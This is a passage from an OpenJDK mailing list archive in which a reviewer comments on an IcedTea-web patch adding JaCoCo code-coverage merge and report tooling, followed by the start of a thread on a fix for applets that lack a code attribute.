run-reproducers-test-code-coverage: stamps/run-reproducers-test-code-coverage.stamp > + > +run-unit-test-code-coverage-jacoco: stamps/run-unit-test-code-coverage-jacoco.stamp > + > +run-reproducers-test-code-coverage-jacoco: stamps/run-reproducers-test-code-coverage-jacoco.stamp > diff -r aff6fb36a9ab configure.ac > --- a/configure.ac Mon Dec 03 18:08:38 2012 +0100 > +++ b/configure.ac Wed Dec 05 16:40:30 2012 +0100 > @@ -106,6 +106,10 @@ > [/usr/share/java/junit4.jar /usr/share/junit-4/lib/junit.jar]) > IT_FIND_OPTIONAL_JAR([emma], EMMA, > [/usr/share/java/emma.jar]) > +IT_FIND_OPTIONAL_JAR([jacoco], JACOCO, > + [/usr/share/java/jacoco/org.jacoco.core.jar]) > +IT_FIND_OPTIONAL_JAR([asm4], ASM4, > + [/usr/share/java/objectweb-asm4/asm-all-4.0.jar]) > > AC_CONFIG_FILES([jrunscript], [chmod u+x jrunscript]) > AC_CONFIG_FILES([build.properties]) > > The makefile grows ... Is it standard practice to have Makefile's this big ? I think it would be more maintainable and readable with some helper scripts for test-related parts. > diff -r aff6fb36a9ab tests/jacoco-operator/org/jacoco/operator/Main.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/jacoco-operator/org/jacoco/operator/Main.java Wed Dec 05 16:40:30 2012 +0100 > @@ -0,0 +1,288 @@ > +/* > +Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +package org.jacoco.operator; > + > +import java.io.File; > +import java.io.IOException; > +import java.util.ArrayList; > +import java.util.List; > + > +/** > + * Commandline launcher > + */ > +public class Main { > + > + //main switches > + private static final String MERGE = "merge"; > + private static final String REPORT = "report"; > + //switches > + private static final String die_soon = "--die-soon"; > + //merge > + private static final String output_file = "--output-file"; > + private static final String input_files = "--input-files"; > + //report > + private static final String html_output = "--html-output"; > + private static final String xml_output = "--xml-output"; > + private static final String input_srcs = "--input-srcs"; > + private static final String input_builds = "--input-builds"; > + private static final String title = "--title"; > + private static String input_file = "--input-file"; > + /** > + * * > + */ > + private static boolean dieSoon = false; > + private static boolean warned = false; > + > + public static void main(String[] args) throws IOException { > + if (args.length < 2) { > + printHelp(); > + System.exit(0); > + } > + > + Runnable r = null; > + if (args[0].equalsIgnoreCase(MERGE)) { > + r = proceedMerge(cutFirstParam(args)); > + } else if (args[0].equalsIgnoreCase(REPORT)) { > + r = proceedReport(cutFirstParam(args)); > + } else { > + System.err.println("Unsuported main switch `" + args[0] + "`, use " + MERGE + " or " + REPORT); > + printHelp(); > + System.exit(1); > + } > + if (dieSoon && warned) { > + System.err.println(die_soon + " is specified and warning occured. Exiting"); > + System.exit(2); > + } > + r.run(); > + > + } > + > + private static void printHelp() { > + System.out.println("Usage: java `classapath` org.jacoco.operator.Main [" + MERGE + "|" + REPORT + "] swithes/files"); swithes -> switches > + System.out.println(" order of swithches does not metter"); swithches -> switches > + System.out.println(" Merge usage: java `classapath` org.jacoco.operator.Main " + MERGE + " " + output_file + " file " + input_files + " file file file ..."); classapath -> classpath > + System.out.println(" Report usage: java `classapath` org.jacoco.operator.Main " + REPORT + " " + html_output + " file " + xml_output + " file " + input_srcs + " file file file ... " + input_builds + " file file file " + title + " titleOfReport " + input_file + " file"); classapath -> classpath > + System.out.println("Where:"); > + System.out.println(" classapth should contain this application, and complete jacoco, and sometimes asm3 (depends on jacoco bundle)"); classapth -> classpath > + System.out.println(" " + die_soon + " - can be set as firstr parameter (after main switch), each warning then will cause exit of application"); firstr -> first Maybe 'die_soon' would be more understandable as 'fail_fast' (die_soon is confusing to me, it is not readily clear that it has to do with failures). > + System.out.println(" " + MERGE); > + System.out.println(" " + output_file + " - is file where merged inputs will be saved"); > + System.out.println(" " + input_files + " - is list of files which will be merged into output file"); > + System.out.println(" " + REPORT); > + System.out.println(" " + html_output + " - name of directory into which report will be generated. Should be empty or not -existing"); 'be empty or not yet exist' is a bit clearer > + System.out.println(" " + xml_output + " - is name of file into which xml report will be written"); > + System.out.println(" " + input_srcs + " - jars, zips or directories with java sources which will be used during report generation"); > + System.out.println(" " + input_builds + " - jars, zips or directories with compiled java classes, debug information must be present"); > + System.out.println(" " + title + " - title of report"); > + System.out.println(" " + input_file + " - input file with recorded coverage-run-session. By default jacoco saves into " + MergeTask.DEFAULT_NAME); > + > + } > + > + private static String[] cutFirstParam(String[] args) { > + String[] arg = new String[args.length - 1]; > + System.arraycopy(args, 1, arg, 0, arg.length); > + return arg; > + } > + > + private static Runnable proceedMerge(String[] a) throws IOException { > + String doing = null; > + String outputFile = null; > + List inputFiles = new ArrayList(2); > + for (String s : a) { > + if (s.startsWith("--")) { > + if (s.equalsIgnoreCase(die_soon)) { > + doing = null; > + dieSoon = true; > + } else if (s.equalsIgnoreCase(output_file)) { > + doing = output_file; > + } else if (s.equalsIgnoreCase(input_files)) { > + doing = input_files; > + } else { > + warnOrDie("Unknown Switch for merge " + s); > + doing = null; > + } > + } else { > + if (doing == null) { > + warnOrDie("Missing switch during processing of " + s); > + } else { > + if (doing.equalsIgnoreCase(output_file)) { > + outputFile = s; > + } else if (doing.equalsIgnoreCase(input_files)) { > + inputFiles.add(s); > + } else { > + warnOrDie("Unknown processing of switch of" + doing); > + } > + > + } > + } > + } > + throwIfNullOrEmpty(outputFile, "empty output file"); > + File ff = new File(outputFile); > + if (ff.exists()) { > + warnOrDie("Warning, output file " + ff.getAbsolutePath() + " exists"); > + } > + MergeTask m = new MergeTask(ff); > + for (String string : inputFiles) { > + if (checkIfNotNullOrEmpty(string)) { > + File f = new File(string); > + if (!f.exists()) { > + warnOrDie("Warning, input coverage " + f.getAbsolutePath() + " does not exists!"); > + } > + m.addInputFile(f); > + } > + } > + return m; > + > + } > + > + private static Runnable proceedReport(String[] a) throws IOException { > + String doing = null; > + String htmlDir = null; > + String xmlFile = null; > + List inputSrcs = new ArrayList(1); > + List inputBuilds = new ArrayList(1); > + String titleValue = null; > + String inputFile = null; > + for (String s : a) { > + if (s.startsWith("--")) { > + if (s.equalsIgnoreCase(die_soon)) { > + doing = null; > + dieSoon = true; > + } else if (s.equalsIgnoreCase(html_output)) { > + doing = html_output; > + } else if (s.equalsIgnoreCase(xml_output)) { > + doing = xml_output; > + } else if (s.equalsIgnoreCase(input_srcs)) { > + doing = input_srcs; > + } else if (s.equalsIgnoreCase(input_builds)) { > + doing = input_builds; > + } else if (s.equalsIgnoreCase(title)) { > + doing = title; > + } else if (s.equalsIgnoreCase(input_file)) { > + doing = input_file; > + } else { > + warnOrDie("Unknown Switch for report " + s); > + doing = null; > + } > + } else { > + if (doing == null) { > + warnOrDie("Missing switch during processing of " + s); > + } else { > + if (doing.equalsIgnoreCase(html_output)) { > + htmlDir = s; > + } else if (doing.equalsIgnoreCase(xml_output)) { > + xmlFile = s; > + } else if (doing.equalsIgnoreCase(input_srcs)) { > + inputSrcs.add(s); > + } else if (doing.equalsIgnoreCase(input_builds)) { > + inputBuilds.add(s); > + } else if (doing.equalsIgnoreCase(title)) { > + titleValue = s; > + } else if (doing.equalsIgnoreCase(input_file)) { > + inputFile = s; > + } else { > + warnOrDie("Unknown processing of switch of " + doing); > + } > + > + } > + } > + } > + File finalHtmlFile = null; > + if (checkIfNotNullOrEmpty(htmlDir)) { > + finalHtmlFile = new File(htmlDir); > + if (finalHtmlFile.exists()) { > + warnOrDie("Warning, direcotry for html report exists! " + finalHtmlFile.getAbsolutePath()); > + } > + } > + File finalXmlFile = null; > + if (checkIfNotNullOrEmpty(xmlFile)) { > + finalXmlFile = new File(xmlFile); > + if (finalXmlFile.exists()) { > + warnOrDie("Warning, file for xml report exists! " + finalHtmlFile.getAbsolutePath()); > + } > + } > + if (chckIfNUllOrEmpty(titleValue)) { > + titleValue = "Coverage report"; > + } > + throwIfNullOrEmpty(inputFile, "No coverage data file specified!"); > + File finalInputFile = new File(inputFile); > + > + ReportGenerator rg = new ReportGenerator(titleValue, finalInputFile, finalHtmlFile, finalXmlFile); > + > + for (String string : inputSrcs) { > + if (checkIfNotNullOrEmpty(string)) { > + File f = new File(string); > + if (!f.exists()) { > + warnOrDie("Warning, input source " + f.getAbsolutePath() + " does not exists!"); > + } > + rg.addSource(f); > + } > + } > + for (String string : inputBuilds) { > + if (checkIfNotNullOrEmpty(string)) { > + File f = new File(string); > + if (!f.exists()) { > + warnOrDie("Warning, input build " + f.getAbsolutePath() + " does not exists!"); > + } > + rg.addClasses(f); > + } > + } > + return rg; > + } > + > + private static String throwIfNullOrEmpty(String outputFile, String message) throws RuntimeException { > + if (chckIfNUllOrEmpty(outputFile)) { > + throw new RuntimeException(message); > + } > + return outputFile; > + } > + > + private static boolean checkIfNotNullOrEmpty(String string) { > + return string != null && string.trim().length() != 0; > + } > + > + private static boolean chckIfNUllOrEmpty(String outputFile) { > + return outputFile == null || outputFile.trim().length() == 0; > + } > + > + private static void warnOrDie(String string) { > + System.err.println(string); > + warned = true; > + > + } > +} Nice little tool overall > diff -r aff6fb36a9ab tests/jacoco-operator/org/jacoco/operator/MergeTask.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/jacoco-operator/org/jacoco/operator/MergeTask.java Wed Dec 05 16:40:30 2012 +0100 > @@ -0,0 +1,169 @@ > +/* > +Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > +package org.jacoco.operator; > + > +import java.io.BufferedOutputStream; > +import java.io.File; > +import java.io.FileInputStream; > +import java.io.FileOutputStream; > +import java.io.IOException; > +import java.io.InputStream; > +import java.io.OutputStream; > +import java.util.ArrayList; > +import java.util.Iterator; > +import java.util.List; > +import org.jacoco.core.data.ExecutionDataReader; > +import org.jacoco.core.data.ExecutionDataStore; > +import org.jacoco.core.data.ExecutionDataWriter; > +import org.jacoco.core.data.SessionInfoStore; > + > +/** > + * Task for merging a set of execution data store files into a single file > + * > + * Inspired by: > + *https://raw.github.com/jacoco/jacoco/master/org.jacoco.ant/src/org/jacoco/ant/MergeTask.java > + */ > +public class MergeTask implements Runnable { > + > + public static final String DEFAULT_NAME = "jacoco.exec"; > + private File destfile; > + private final List files = new ArrayList(1); > + > + public MergeTask(File destfile) { > + this.destfile = destfile; > + } > + > + public MergeTask(File destfile, List inputs) { > + this.destfile = destfile; > + files.addAll(inputs); > + } > + > + /** > + * Sets the location of the merged data store > + * > + * @param destfile Destination data store location > + */ > + public void setDestfile(final File destfile) { > + this.destfile = destfile; > + } > + > + public void addInputFile(final File input) { > + if (input != null) { > + files.add(input); > + } > + } > + > + public void addInputFiles(final List input) { > + files.addAll(input); > + } > + > + public void execute() throws IOException { > + if (destfile == null) { > + throw new RuntimeException("Destination file must be supplied"); > + } > + > + final SessionInfoStore infoStore = new SessionInfoStore(); > + final ExecutionDataStore dataStore = new ExecutionDataStore(); > + > + loadSourceFiles(infoStore, dataStore); > + > + OutputStream outputStream = null; > + try { > + > + outputStream = new BufferedOutputStream(new FileOutputStream( > + destfile)); > + final ExecutionDataWriter dataWriter = new ExecutionDataWriter( > + outputStream); > + infoStore.accept(dataWriter); > + dataStore.accept(dataWriter); > + } finally { > + if (outputStream != null) { > + outputStream.close(); > + } > + } > + > + } > + > + private void loadSourceFiles(final SessionInfoStore infoStore, final ExecutionDataStore dataStore) throws IOException { > + if (files == null || files.isEmpty()) { > + throw new RuntimeException("No input files"); > + } > + final Iterator resourceIterator = files.iterator(); > + while (resourceIterator.hasNext()) { > + final File resource = (File) resourceIterator.next(); > + > + if (resource.isDirectory()) { > + continue; > + } > + InputStream resourceStream = null; > + try { > + resourceStream = new FileInputStream(resource); > + final ExecutionDataReader reader = new ExecutionDataReader( > + resourceStream); > + reader.setSessionInfoVisitor(infoStore); > + reader.setExecutionDataVisitor(dataStore); > + reader.read(); > + } finally { > + if (resourceStream != null) { > + resourceStream.close(); > + } > + } > + } > + } > + > + @Override > + public void run() { > + try { > + execute(); > + } catch (IOException ex) { > + throw new RuntimeException(ex); > + } > + } > + > + public static void main(final String[] args) throws IOException { > + String root = "/home/jvanek/Desktop/icedtea-web/tests.build/netx/unit/"; > + String result = root+"/jacoco-merged.exec"; > + String file =root + "/"+DEFAULT_NAME; > + > + > + final MergeTask merger = new MergeTask(new File(result)); > + merger.addInputFile(new File(file)); > + merger.addInputFile(new File(file)); > + merger.execute(); > + > + } > +} > diff -r aff6fb36a9ab tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java Wed Dec 05 16:40:30 2012 +0100 > @@ -0,0 +1,336 @@ > +/* > +Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +package org.jacoco.operator; > + > +import java.io.File; > +import java.io.FileInputStream; > +import java.io.FileOutputStream; > +import java.io.IOException; > +import java.io.OutputStream; > +import java.util.ArrayList; > +import java.util.List; > +import org.jacoco.core.analysis.Analyzer; > +import org.jacoco.core.analysis.CoverageBuilder; > +import org.jacoco.core.analysis.IBundleCoverage; > +import org.jacoco.core.data.ExecutionDataReader; > +import org.jacoco.core.data.ExecutionDataStore; > +import org.jacoco.core.data.SessionInfoStore; > +import org.jacoco.report.DirectorySourceFileLocator; > +import org.jacoco.report.FileMultiReportOutput; > +import org.jacoco.report.IReportVisitor; > +import org.jacoco.report.MultiSourceFileLocator; > +import org.jacoco.report.html.HTMLFormatter; > +import org.jacoco.report.xml.XMLFormatter; > + > +/** > + * This example creates a HTML report for eclipse like projects based on a > + * single execution data store called jacoco.exec. The report contains no > + * grouping information. > + * > + * The class files under test must be compiled with debug information, otherwise > + * source highlighting will not work. > + * > + * Originally based on: > + *http://www.eclemma.org/jacoco/trunk/doc/examples/java/ReportGenerator.java > + */ > +public class ReportGenerator implements Runnable { > + > + private final String title; > + private final File executionDataFile; > + private final List classesDirectories = new ArrayList(1); > + private final List sourceDirectories = new ArrayList(1); > + private File reportDirectory; > + private File xmlOutput; > + private ExecutionDataStore executionDataStore; > + private SessionInfoStore sessionInfoStore; > + private String XML_DEF_NAME = "coverage-summary.xml"; > + > + /** > + * Create a new generator based for the given project. > + * > + * @param projectDirectory > + */ > + public ReportGenerator(final File projectDirectory) { > + this.title = projectDirectory.getName(); > + this.executionDataFile = new File(projectDirectory, MergeTask.DEFAULT_NAME); > + this.classesDirectories.add(new File(projectDirectory, "bin")); > + this.sourceDirectories.add(new File(projectDirectory, "src")); > + this.reportDirectory = new File(projectDirectory, "coveragereport"); > + this.xmlOutput = new File(projectDirectory, XML_DEF_NAME); > + } > + > + public ReportGenerator(String title, File exec, File classes, File sources, File htmlReport, File xmlReport) { > + this.title = title; > + this.executionDataFile = exec; > + if (classes != null) { > + this.classesDirectories.add(classes); > + } > + if (sources != null) { > + this.sourceDirectories.add(sources); > + } > + this.reportDirectory = htmlReport; > + > + this.xmlOutput = xmlReport; > + } > + > + public ReportGenerator(String title, File exec, List classes, List sources, File htmlReport, File xmlReport) { > + this.title = title; > + this.executionDataFile = exec; > + if (classes != null) { > + this.classesDirectories.addAll(classes); > + } > + if (sources != null) { > + this.sourceDirectories.addAll(sources); > + } > + this.reportDirectory = htmlReport; > + this.xmlOutput = xmlReport; > + } > + > + public ReportGenerator(String title, File exec, List classes, List sources, File report) { > + this.title = title; > + this.executionDataFile = exec; > + if (classes != null) { > + this.classesDirectories.addAll(classes); > + } > + if (sources != null) { > + this.sourceDirectories.addAll(sources); > + } > + this.reportDirectory = report; > + this.xmlOutput = new File(report, XML_DEF_NAME); > + } > + > + public ReportGenerator(String title, File exec, File htmlReport, File xmlReport) { > + this.title = title; > + this.executionDataFile = exec; > + this.reportDirectory = htmlReport; > + this.xmlOutput = xmlReport; > + } > + > + public ReportGenerator(String title, File exec, File report) { > + this.title = title; > + this.executionDataFile = exec; > + this.reportDirectory = report; > + this.xmlOutput = new File(report, XML_DEF_NAME); > + } > + > + public void addSource(File f) { > + sourceDirectories.add(f); > + > + } > + > + public void addClasses(File f) { > + classesDirectories.add(f); > + > + } > + > + /** > + * Create the report. > + * > + * @throws IOException > + */ > + public void execute() throws IOException { > + > + // Read the jacoco.exec file. Multiple data stores could be merged > + // at this point > + loadExecutionData(); > + > + // Run the structure analyzer on a single class folder to build up > + // the coverage model. The process would be similar if your classes > + // were in a jar file. Typically you would create a bundle for each > + // class folder and each jar you want in your report. If you have > + // more than one bundle you will need to add a grouping node to your > + // report > + final IBundleCoverage bundleCoverage = analyzeStructure(); > + > + if (reportDirectory != null) { > + createHtmlReport(bundleCoverage); > + } > + if (xmlOutput != null) { > + createXmlReport(bundleCoverage); > + } > + > + } > + > + private void createHtmlReport(final IBundleCoverage bundleCoverage) > + throws IOException { > + > + // Create a concrete report visitor based on some supplied > + // configuration. In this case we use the defaults > + final HTMLFormatter htmlFormatter = new HTMLFormatter(); > + final IReportVisitor visitor = htmlFormatter.createVisitor(new FileMultiReportOutput(reportDirectory)); > + > + // Initialize the report with all of the execution and session > + // information. At this point the report doesn't know about the > + // structure of the report being created > + visitor.visitInfo(sessionInfoStore.getInfos(), > + executionDataStore.getContents()); > + > + // Populate the report structure with the bundle coverage information. > + // Call visitGroup if you need groups in your report. > + MultiSourceFileLocator msf = new MultiSourceFileLocator(4); > + for (File file : sourceDirectories) { > + msf.add(new DirectorySourceFileLocator( > + file, "utf-8", 4)); > + } > + > + visitor.visitBundle(bundleCoverage, msf); > + > + // Signal end of structure information to allow report to write all > + // information out > + visitor.visitEnd(); > + > + } > + > + private void createXmlReport(final IBundleCoverage bundleCoverage) > + throws IOException { > + > + OutputStream fos = new FileOutputStream(xmlOutput); > + try { > + // Create a concrete report visitor based on some supplied > + // configuration. In this case we use the defaults > + final XMLFormatter htmlFormatter = new XMLFormatter(); > + final IReportVisitor visitor = htmlFormatter.createVisitor(fos); > + > + // Initialize the report with all of the execution and session > + // information. At this point the report doesn't know about the > + // structure of the report being created > + visitor.visitInfo(sessionInfoStore.getInfos(), > + executionDataStore.getContents()); > + > + // Populate the report structure with the bundle coverage information. > + // Call visitGroup if you need groups in your report. > + visitor.visitBundle(bundleCoverage, null); > + > + > + // Signal end of structure information to allow report to write all > + // information out > + visitor.visitEnd(); > + } finally { > + if (fos != null) { > + fos.close(); > + } > + } > + > + } > + > + private void loadExecutionData() throws IOException { > + final FileInputStream fis = new FileInputStream(executionDataFile); > + try { > + final ExecutionDataReader executionDataReader = new ExecutionDataReader( > + fis); > + executionDataStore = new ExecutionDataStore(); > + sessionInfoStore = new SessionInfoStore(); > + > + executionDataReader.setExecutionDataVisitor(executionDataStore); > + executionDataReader.setSessionInfoVisitor(sessionInfoStore); > + > + while (executionDataReader.read()) { > + } > + } finally { > + if (fis != null) { > + fis.close(); > + } > + } > + } > + > + private IBundleCoverage analyzeStructure() throws IOException { > + final CoverageBuilder coverageBuilder = new CoverageBuilder(); > + final Analyzer analyzer = new Analyzer(executionDataStore, > + coverageBuilder); > + for (File file : classesDirectories) { > + analyzer.analyzeAll(file); > + > + } > + > + return coverageBuilder.getBundle(title); > + } > + > + @Override > + public void run() { > + try { > + execute(); > + } catch (IOException ex) { > + throw new RuntimeException(ex); > + } > + } > + > + public static void main(final String[] args) throws IOException { > + String root = "/home/jvanek/Desktop/icedtea-web/"; There's maybe a slight chance someone else will want to run this :)) > + > + String src1 = root + "netx/"; > + String src2 = root + "plugin/icedteanp/java/"; > + String src3 = root + "tests/test-extensions/"; > + String src4 = root + "tests/test-extensions-tests/"; > + String src5 = root + "tests/netx/unit/"; > + String src6 = root + "tests/junit-runner/"; I'd say either give these descriptive names or do something like: String[] sources = {"netx/", ...}; and for (String s : sources) { sourceDirectories.add(new File(root + s)); } > + //reproducers srcs+testcases > + > + String cls1 = root + "netx.build/lib/classes.jar"; > + String cls2 = root + "liveconnect/lib/classes.jar"; > + String cls3 = root + "tests.build/test-extensions/"; > + //??String cls4=root+"tests/test-extensions-tests/"; > + String cls5 = root + "tests.build/netx/unit/"; > + String cls6 = root + "tests.build/junit-runner/"; As above, numbered variable names are a code smell IMO. > + //reproducers jars and testcases > + > + > + > + final List sourceDirectories = new ArrayList(10); > + sourceDirectories.add(new File(src1)); > + sourceDirectories.add(new File(src2)); > + sourceDirectories.add(new File(src3)); > + sourceDirectories.add(new File(src4)); > + sourceDirectories.add(new File(src5)); > + sourceDirectories.add(new File(src6)); > + > + final List classesDirectories = new ArrayList(10); > + classesDirectories.add(new File(cls1)); > + classesDirectories.add(new File(cls2)); > + classesDirectories.add(new File(cls3)); > + classesDirectories.add(new File(cls5)); > + classesDirectories.add(new File(cls6)); > + > + > + final ReportGenerator generator = new ReportGenerator( > + "icedtea-web coverage report", > + new File(cls5 + "/" + MergeTask.DEFAULT_NAME), classesDirectories, sourceDirectories, > + new File(root + "unit-report")); > + generator.execute(); > + > + } > +} > > diff -r aff6fb36a9ab tests/plugin_fakeing.patch > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/plugin_fakeing.patch Wed Dec 05 16:40:30 2012 +0100 > @@ -0,0 +1,31 @@ > +--- IcedTeaNPPlugin.cc > ++++ IcedTeaNPPlugin.cc > +@@ -1623,12 +1623,13 @@ > + int cmd_num = 0; > + if (plugin_debug) > + { > +- command_line = (gchar**) malloc(sizeof(gchar*)*11); > ++ command_line = (gchar**) malloc(sizeof(gchar*)*12); > + command_line[cmd_num++] = g_strdup(appletviewer_executable); > + command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); > + // set the classpath to avoid using the default (cwd). > + command_line[cmd_num++] = g_strdup("-classpath"); > + command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); > ++ command_line[cmd_num++] = g_strdup(COVERAGE_AGENT); > + command_line[cmd_num++] = g_strdup("-Xdebug"); > + command_line[cmd_num++] = g_strdup("-Xnoagent"); > + if (plugin_debug_suspend) > +@@ -1644,11 +1645,12 @@ > + command_line[cmd_num] = NULL; > + } else > + { > +- command_line = (gchar**) malloc(sizeof(gchar*)*8); > ++ command_line = (gchar**) malloc(sizeof(gchar*)*9); > + command_line[cmd_num++] = g_strdup(appletviewer_executable); > + command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); > + command_line[cmd_num++] = g_strdup("-classpath"); > + command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); > ++ command_line[cmd_num++] = g_strdup(COVERAGE_AGENT); > + command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); > + command_line[cmd_num++] = g_strdup(out_pipe_name); > + command_line[cmd_num++] = g_strdup(in_pipe_name); I think we could do better by having an ifdef here for COVERAGE_AGENT, eg (based off HEAD), attached is an example patch that accomplishes this (as well as merging the duplicate code, so I didn't have to add it in two places). This will not require patching of the source tree, the extra define passed will suffice. You will be able to work off the original source this way. Happy hacking, -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/aa0940fb/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: jiri-suggestion.patch Type: text/x-patch Size: 2761 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/aa0940fb/jiri-suggestion.patch From smohammad at redhat.com Mon Dec 10 10:12:18 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Mon, 10 Dec 2012 13:12:18 -0500 Subject: [RFC][icedtea-web]: Small fix for PR1189 w/ reproducer In-Reply-To: <507DB72B.9040108@redhat.com> References: <50786165.3020400@redhat.com> <507DB72B.9040108@redhat.com> Message-ID: <50C62602.6030200@redhat.com> Hi Adam, Sorry for the late follow-up. I see a lot has changed since the last patch - please take a look at the updated patches attached. *Note* As I mentioned earlier on IRC, Google Chrome does not launch applets that do not have a code attribute defined. This is rather unfortunate as the main-class name can be found within the jnlp file, if jnlp_href is used. As for Firefox, however, there is no dependency on the code attribute to continue launching the applet. Just like the proprietary plugin, we should also avoid the dependency of the code attribute if the information can be found elsewhere. In cases where the jnlp file is missing the main-class attribute, it will lead to a ParseException resembling similar behaviour of the proprietary plugin since it's a requirement in a jnlp applet file. CHANGELOG - BUG FIX ======================================================================== 2012-12-10 Saad Mohammad Fix PR1189: Icedtea-plugin requires code attribute when using jnlp_href. * netx/net/sourceforge/jnlp/PluginParameters.java (PluginParameters): Updated if condition to prevent PluginParameterException from being thrown if applet tag contains jnlp_href but is missing code/object parameters. CHANGELOG - REPRODUCER ======================================================================== 2012-12-10 Saad Mohammad Add reproducer for PR1189. * tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.html: Simple webpage which contains an applet tag with no code attribute. * tests/reproducers/simple/AppletTagWithMissingCodeAttribute/resources/AppletTagWithMissingCodeAttribute.jnlp: Jnlp file that is used by the webpages using jnlp_href. * tests/reproducers/simple/AppletTagWithMissingCodeAttribute/testcases/AppletTagWithMissingCodeAttribute.java: Testcase that tests applets without code attribute in html pages. * tests/reproducers/simple/SimpleApplet/srcs/SimpleApplet.java: Simple applet class that outputs a string. -- Cheers, Saad Mohammad -------------- next part -------------- A non-text attachment was scrubbed... Name: Changelog-News0-2.patch Type: text/x-patch Size: 1008 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/507764a9/Changelog-News0-2.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: ChangelogReproducer0-2.patch Type: text/x-patch Size: 936 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/507764a9/ChangelogReproducer0-2.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: fix0-2.patch Type: text/x-patch Size: 623 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/507764a9/fix0-2.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: reproducer0-2.patch Type: text/x-patch Size: 10180 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/507764a9/reproducer0-2.patch From adomurad at redhat.com Mon Dec 10 11:13:34 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 10 Dec 2012 14:13:34 -0500 Subject: [RFC][icedtea-web]: Small fix for PR1189 w/ reproducer In-Reply-To: <50C62602.6030200@redhat.com> References: <50786165.3020400@redhat.com> <507DB72B.9040108@redhat.com> <50C62602.6030200@redhat.com> Message-ID: <50C6345E.9020905@redhat.com> On 12/10/2012 01:12 PM, Saad Mohammad wrote: > Hi Adam, > > Sorry for the late follow-up. I see a lot has changed since the last patch - > please take a look at the updated patches attached. > > > *Note* > > As I mentioned 